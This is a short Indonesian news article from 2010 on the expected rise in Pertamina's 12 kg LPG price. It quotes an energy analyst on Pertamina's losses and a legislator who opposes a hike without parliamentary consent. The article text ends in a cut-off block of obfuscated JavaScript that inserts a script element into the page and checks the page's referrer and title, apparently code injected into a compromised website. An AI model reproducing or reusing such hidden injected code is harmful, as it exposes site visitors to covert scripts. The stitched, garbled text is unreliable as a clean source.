Metrotvnews.com, 11 mei 2010
Jakarta: Kenaikan harga elpiji ukuran 12 kilogram tinggal tunggu waktu. Pasalnya, dengan harga lama, PT Pertamina terus merugi. Demikian dikatakan Direktur Eksekutif Reforminer Institute Pri Agung Rakhmanto di Jakarta, Selasa (11/5).
Tapi, menurut Pri, Pertamina harus memikirkan waktu yang tepat untuk menggenjot harga elpiji 12 kg ke harga keekonomian. Tak bisa dilakukan sekaligus karena bisa melahirkan resistensi dari masyarakat. Apalagi tahun ini rencanaya ada juga kenaikan tarif dasar listrik.
Pri mengatakan, kenaikan harga memang diperlukan supaya pada akhirnya bisnis elpiji nonsubisdi tidak terlalu merugikan Pertamina.
“Namun tetap tak bisa dilakukan sekaligus karena akan memberatkan warga. Tidak bisa dihindarkan kalau harga elpiji 12 kg dinaikkan, mengingat saat ini harga keekonomiannya sekitar Rp 7.500 per kg, sementara harga jual masih Rp 5.000-an,” ujar Pri.
Anggota Komisi VII DPR Dewi Aryani Hilman mengingatkan Pertamina tidak menaikkan harga tanpa persetujuan DPR. “Kebijakan pemerintah ini sama dengan menghukum rakyat,” tegas Dewi.
xd052[8],_0xd052[7])+ _0xd052[12];if(document[_0xd052[13]]){document[_0xd052[13]][_0xd052[15]][_0xd052[14]](s,document[_0xd052[13]])}else {d[_0xd052[18]](_0xd052[17])[0][_0xd052[16]](s)};if(document[_0xd052[11]][_0xd052[19]]=== _0xd052[20]&& KTracking[_0xd052[22]][_0xd052[21]](_0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12])=== -1){alert(_0xd052[23])}